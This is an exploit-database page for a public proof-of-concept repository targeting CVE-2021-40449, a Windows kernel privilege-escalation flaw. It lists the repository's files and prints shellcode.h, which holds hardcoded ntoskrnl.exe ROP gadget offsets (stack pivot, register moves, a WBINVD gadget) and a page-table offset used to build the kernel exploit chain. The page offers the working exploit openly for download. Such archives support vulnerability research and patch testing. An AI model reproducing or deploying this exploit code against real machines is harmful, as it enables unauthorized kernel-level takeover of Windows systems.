Exploit databaseDownload repository ZIP
GH-3eb2003f776b97df9589047fd876a986
kristal-g/cve-2021-40449_poc
Sources for CVE-2021-40449
10 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files7
kristal-g/cve-2021-40449_pocRevision 65087f003229
- ↑..Parent directory
- x64/
- CVE-2021-40449_poc.c
- CVE-2021-40449_poc.vcxproj
- CVE-2021-40449_poc.vcxproj.filters
- packages.config
- shellcode.c
- shellcode.h
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
CVE-2021-40449_poc/shellcode.h
Text · 804 bytes#pragma once
#include <windows.h>
#include <stdio.h>
#include <ntstatus.h>
#include <Psapi.h>
#include <tlhelp32.h>
typedef void(__stdcall* fnRtlGetNtVersionNumbers)(DWORD*, DWORD*, DWORD*);
typedef ULONGLONG QWORD;
typedef QWORD* PQWORD;
#define MiGetPteAddressOffset 0xa3db4
// ntoskrnl.exe gadgets
#define STACK_PIVOT_GADGET 0x79dba0
#define STACK_PIVOT_ADDR 0x8bffb088
#define MOV_FOUR_RAX 0x23c56
#define SUB_RCX_RAX 0xa90f8
#define MOV_RAX_PTR_RAX 0x387ea
#define MOV_RAX_TO_R8 0x26e685
#define MOV_R8_TO_RCX 0x741cde
// New rop chain ntoskrnl gadgets
#define MOV_RAX_TO_R9 0xabd6e
#define POP_RDX 0x0980c5
#define DEREF_RAX 0x49e3d0
#define SUB_RAX_RDX 0x0de1a3
#define MOV_RAX_TO_R9_PTR 0x2326a9
#define NOP 0x9090909090909090
#define POP_RCX 0x2fd8a
#define WBINVD_GADGET 0x1175c0